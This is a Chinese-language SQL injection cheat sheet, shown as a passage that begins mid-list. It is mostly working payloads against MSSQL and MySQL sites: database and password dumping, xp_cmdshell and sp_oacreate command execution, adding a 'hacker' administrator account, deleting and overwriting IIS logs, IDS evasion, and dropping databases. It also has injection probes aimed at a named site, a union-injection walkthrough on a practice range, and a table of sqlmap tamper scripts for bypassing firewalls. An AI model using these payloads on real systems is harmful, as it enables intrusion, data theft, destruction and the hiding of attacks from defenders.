URL;;drop table p;--删除表p
--(2) ******查看目录方法******
URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m记录目录,i记录深度)
URL;insert pa exec xp_dirtree ’e:’;--列出驱动器e并插入表pa
URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度
URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;--报错得到深度i=1的第一个目录名
--上面一般用显错且目录名不为数字情况下使用-------(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录
URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半法查出深度i=1的第一个目录名的长度
URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一个目录名的第一个字符长度
--上面一般用无显错情况下使用-------(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录
URL;drop
手工MSSQL注入常用SQL语句
and exists (select * from sysobjects) //判断是否是MSSQL
and exists(select * from tableName) //判断某表是否存在..tableName为表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员
and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限
and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1,2,3….
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判断XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread扩展存储过程是不是已经被删除
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’
暴网站目录
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————分割
SQL Server
判断是否可注射:
http://www.exehack.net/article.asp?id=6
http://www.exehack.net/article.asp?id=6′
http://www.exehack.net/article.asp?id=6 and 1=1
http://www.exehack.net/article.asp?id=6 and 1=2
http://www.exehack.net/article.asp?action=value’ and 1=1
http://www.exehack.net/article.asp?action=value’ and 1=2
searchpoints%’ and 1=1
searchpoints%’ and 1=2
确定数据库类型:
http://www.exehack.net/article.asp?id=6 and user>0
http://www.exehack.net/article.asp?id=6 and (select count(*) from sysobjects)>0
查询当前用户数据信息:
article.asp?id=6 having 1=1–
暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1–
article.asp?id=6 group by admin.username,admin.password having 1=1–
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id(‘admin’),N) from sysobjects)>1
暴数据库数据:
and (select top 1 password from admin where id=N)>1
修改数据库中的数据:
;update admin set password=’oooooo’ where username=’xxx’
增添数据库中的数据:
;insert into admin values (xxx,oooooo)–
删数据库:
;drop database webdata
获取当前数据库用户名:and user>0
获取当前数据库名:and db_name()>0
获取数据库版本:and (select @@version)>0
判断是否支持多句查询:;declare @a int–
判断是否支持子查询:and (select count(1) from [sysobjects])>=0
数据库的扩展存储过程:exec master..xp_cmdshell
查看服务器C盘目录:;exec_master..xp_cmdshell ‘dir c:\’
判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’
删除扩展存储过程:;exec sp_dropextendedproc ‘xp_cmdshell’
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:
;declare @s int
;exec sp_oacreat ‘wscript.shell’,@s
;exec master..spoamethod @s,’run’,null,’cmd.exe/c dir c:\’
判断当前数据库用户名是否拥有比较高的权限:
and 1=(select is_srvrolemember(‘sysadmin’))
and 1=(select is_srvrolemember(‘serveradmin’))
and 1=(select is_srvrolemember(‘setupadmin’))
and 1=(select is_srvrolemember(‘securityadmin’))
and 1=(select is_srvrolemember(‘diskadmin’))
and 1=(select is_srvrolemember(‘bulkadmin’))
判断当前数据库用户名是否为DB_OWNER:
and 1=(select is_member(‘db_owner’))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
删除日志记录:
;exec master.dbo.xp_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
替换日志记录:
;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
获取WEB路径:
;declare @shell int
;exec master..sp_oamethod ‘wscript.shell’,@shell out
;exec master..sp_oamethod @shell,’run’,null,’cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell ‘dir /s d:/index.asp’
显示服务器网站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC权限读取:
;exec master.dbo.xp_regread
hkey_local_machine,
‘system\currentcontrolset\services\w3svc\parameters\virtual roots\’
‘/’
SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。
3、DSqlHelper
检测权限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
检测XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_cmdshell’)
检测XP_REGREAD(注册表读取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread’)
检测SP_MAKEWEBTASK(备份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask’)
检测SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc’)
检测XP_SUBDIRS读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs’)
检测XP_DIRTREE读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree’)
修改内容:
; UPDATE 表名 set 字段=内容 where 1=1
XP_CMDSHELL检测:
;exec master..xp_cmdshell ‘dir c:\’
修复XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’
用XP_CMDSHELL添加用户hacker:
;exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add’
XP_CMDSHELL把用户hacker加到ADMIN组:
;exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker /add’
创建表test:
;create table [dbo].[test] ([dstr][char](255));
检测表段test:
and exists (select * from test)
读取WEB的位置(读注册表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’,@result output insert into test (dstr) values(@result);–
爆出WEB的绝对路径(显错模式):
and 1=(select count(*) from test where dstr > 1)
删除表test:
;drop table test;–
创建查看目录的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目录的内容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
爆目录的内容dirs:
and 0<>(select top 1 paths from dirs)
备份数据库DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to disk=’c:\inetpub\wwwroot\down.bak’;–
删除表dirs:
;drop table dirs;–
创建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
把驱动盘列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;–
删除表temp:
;delete from temp;–
创建表dirs:
;create table dirs(paths varchar(100), id int);–
获得子目录列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs ‘c:\’;–
爆出内容(显错模式):
and 0<>(select top 1 paths from dirs)
删除表dirs:
;delete from dirs;–
创建表dirs:
;create table dirs(paths varchar(100), id int)–
用XP_CMDSHELL查看目录内容:
;insert dirs exec master..xp_cmdshell ‘dir c:\’
删除表dirs:
;delete from dirs;–
检测SP_OAcreate(执行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘SP_OAcreate’)
SP_OAcreate执行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add’
SP_OAcreate建目录:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111’
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:\”‘
设置虚拟目录E为可读:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’
启动SERVER服务:
;exec master..xp_servicecontrol ‘start’, ‘server’
绕过IDS检测XP_CMDSHELL:
;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:\’
开启远程数据库1:
; select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=apachy_123’, ‘select * from table1’ )
开启远程数据库2:
;select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ‘select * from table’
示例:( 可以基于 dvwa 、pikachu 等靶场进行测试 )
(1)根据以上知识判断,在搜索框中输入and 1=1(或or 1=1等)的一些变换形式不断尝试,最后发现输入' and 1=1 #返回页面正常,因此初步判断网站存在基于报错的搜索型注入点,
(2)然后开始进行手工注入
a. 暴字段长度:命令 ' order by 3 # 页面返回正常,命令 ' order by 4 # 报错,因此判断字段长度为3。
b. 匹配字段:命令 ' select 1,2,3 #无法执行,输入命令 ' and 1=1 union select 1,2,3 # 页面以及字段信息正常回显(因此该注入支持union联合查询注入)
暴字段位置:命令 ' and 1=2 union select 1,2,3 # 。页面返回2,3
c. 暴库,命令(MySQL暴库命令) ' and 1=2 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA # 。根据页面返回信息可知网站使用MYSQL数据库,且网站的数据库为news。
命令解析:SCHEMA_NAME当前数据库名
information_schema(数据词典)是MySQL自带的数据库,它提供了访问数据库元数据的方式(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)。
SCHEMATA(information_schema中的一个表):提供了当前MySQL实例中所有数据库的信息。show databases的结果取之此表。d. 猜表,命令 ' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'news' # 。可以看到有news和secret_table两个表。
命令解析:TABLE_NAME 当前表名
TABLES(information_schema中的一个表)提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。e. 猜字段,命令 ''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'news' #
''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'secret_table' #
输入两个命令后发现表二中有 fl4g 字段f. 暴密码(flag),命令 ' and 1=2 union select 1,2,fl4g from secret_table # 。得到flag,SQL注入完成
sqlmap 常用 tamper 解释:https://blog.csdn.net/qq_36950158/article/details/123688002
支持的数据库 |
编号 |
脚本名称 |
作用 |
实现方式 |
all |
1 |
apostrophemask.py |
用utf8代替引号 |
("1 AND '1'='1") |
2 |
base64encode.py |
用base64编码替换 |
("1' AND SLEEP(5)#") |
|
3 |
multiplespaces.py |
围绕SQL关键字添加多个空格 |
('1 UNION SELECT foobar') |
|
4 |
space2plus.py |
用+替换空格 |
('SELECT id FROM users') |
|
5 |
nonrecursivereplacement.py |
双重查询语句。取代predefined SQL关键字with表示 |
('1 UNION SELECT 2--') |
|
6 |
space2randomblank.py |
代替空格字符(“”)从一个随机的空 |
('SELECT id FROM users') |
|
7 |
unionalltounion.py |
替换UNION ALL SELECT UNION SELECT |
('-1 UNION ALL SELECT') |
|
8 |
securesphere.py |
追加特制的字符串 |
('1 AND 1=1') |
|
mssql |
1 |
space2hash.py |
绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释一个随机字符串和一个新行(’ n’) |
'1 AND 9227=9227' |
2 |
equaltolike.py |
like 代替等号 |
* Input: SELECT * FROM users WHERE id=1 |
|
3 |
space2mssqlblank.py(mssql) |
空格替换为其它空符号 |
Input: SELECT id FROM users |
|
4 |
space2mssqlhash.py |
替换空格 |
('1 AND 9227=9227') |
|
5 |
between.py |
用between替换大于号(>) |
('1 AND A > B--') |
|
6 |
percentage.py |
asp允许每个字符前面添加一个%号 |
* Input: SELECT FIELD FROM TABLE |
|
7 |
sp_password.py |
追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 |
('1 AND 9227=9227-- ') |
|
8 |
charencode.py |
url编码 |
* Input: SELECT FIELD FROM%20TABLE |
|
9 |
randomcase.py |
随机大小写 |
* Input: INSERT |
|
10 |
charunicodeencode.py |
字符串 unicode 编码 |
* Input: SELECT FIELD%20FROM TABLE |
|
11 |
space2comment.py |
Replaces space character (‘ ‘) with comments ‘/**/’ |
* Input: SELECT id FROM users |
|
mysql >= 5.1.13 |
1 |
equaltolike.py |
like 代替等号 |
|
2 |
greatest.py |
绕过过滤’>’ ,用GREATEST替换大于号。 |
('1 AND A > B') |
|
3 |
apostrophenullencode.py |
绕过过滤双引号,替换字符和双引号。 |
tamper("1 AND '1'='1") |
|
4 |
ifnull2ifisnull.py |
绕过对 IFNULL 过滤。 |
('IFNULL(1, 2)') |
|
5 |
space2mssqlhash.py |
替换空格 |
('1 AND 9227=9227') |
|
6 |
modsecurityversioned.py |
过滤空格,包含完整的查询版本注释 |
('1 AND 2>1--') |
|
7 |
space2mysqlblank.py |
空格替换其它空白符号(mysql) |
Input: SELECT id FROM users |
|
8 |
between.py |
用between替换大于号(>) |
('1 AND A > B--') |
|
9 |
modsecurityzeroversioned.py |
包含了完整的查询与零版本注释 |
('1 AND 2>1--') |
|
10 |
space2mysqldash.py |
替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) |
('1 AND 9227=9227') |
|
11 |
bluecoat.py |
代替空格字符后与一个有效的随机空白字符的SQL语句。 |
('SELECT id FROM users where id = 1') |
|
12 |
percentage.py |
asp允许每个字符前面添加一个%号 |
* Input: SELECT FIELD FROM TABLE |
|
13 |
charencode.py |
url编码 |
* Input: SELECT FIELD FROM%20TABLE |
|
14 |
randomcase.py |
随机大小写 |
* Input: INSERT |
|
15 |
versionedkeywords.py |
Encloses each non-function keyword with versioned MySQL comment |
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# |
|
16 |
space2comment.py |
Replaces space character (‘ ‘) with comments ‘/**/’ |
* Input: SELECT id FROM users |
|
17 |
charunicodeencode.py |
字符串 unicode 编码 |
* Input: SELECT FIELD%20FROM TABLE |
|
18 |
versionedmorekeywords.py |
注释绕过 |
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# |
|
MySQL < 5.1 |
19 |
halfversionedmorekeywords.py |
关键字前加注释 |
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa |
20 |
halfversionedmorekeywords.py |
当数据库为mysql时绕过防火墙,每个关键字之前添加 |
1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") |
|
MySQL >= 5.1.13 |
21 |
space2morehash.py |
空格替换为 #号 以及更多随机字符串 换行符 |
* Input: 1 AND 9227=9227 |
Oracle |
1 |
greatest.py |
绕过过滤’>’ ,用GREATEST替换大于号。 |
('1 AND A > B') |
2 |
apostrophenullencode.py |
绕过过滤双引号,替换字符和双引号。 |
tamper("1 AND '1'='1") |
|
3 |
between.py |
用between替换大于号(>) |
('1 AND A > B--') |
|
4 |
charencode.py |
url编码 |
* Input: SELECT FIELD FROM%20TABLE |
|
5 |
randomcase.py |
随机大小写 |
* Input: INSERT |
|
6 |
charunicodeencode.py |
字符串 unicode 编码 |
* Input: SELECT FIELD%20FROM TABLE |
|
7 |
space2comment.py |
Replaces space character (‘ ‘) with comments ‘/**/’ |
* Input: SELECT id FROM users |
|
PostgreSQL |
1 |
greatest.py |
绕过过滤’>’ ,用GREATEST替换大于号。 |
('1 AND A > B') |
2 |
apostrophenullencode.py |
绕过过滤双引号,替换字符和双引号。 |
tamper("1 AND '1'='1") |
|
3 |
between.py |
用between替换大于号(>) |
('1 AND A > B--') |
|
4 |
percentage.py |
asp允许每个字符前面添加一个%号 |
* Input: SELECT FIELD FROM TABLE |
|
5 |
charencode.py |
url编码 |
* Input: SELECT FIELD FROM%20TABLE |
|
6 |
randomcase.py |
随机大小写 |
* Input: INSERT |
|
7 |
charunicodeencode.py |
字符串 unicode 编码 |
* Input: SELECT FIELD%20FROM TABLE |
|
8 |
space2comment.py |
Replaces space character (‘ ‘) with comments ‘/**/’ |
* Input: SELECT id FROM users |
|
Access |
1 |
appendnullbyte.py |
在有效负荷结束位置加载零字节字符编码 |
('1 AND 1=1') |
其他 |
chardoubleencode.py |
双url编码(不处理以编码的) |
* Input: SELECT FIELD FROM%20TABLE |
|
unmagicquotes.py |
宽字符绕过 GPC addslashes |
* Input: 1′ AND 1=1 |
||
randomcomments.py |
用/**/分割sql关键字 |
‘INSERT’ becomes ‘IN//S//ERT’ |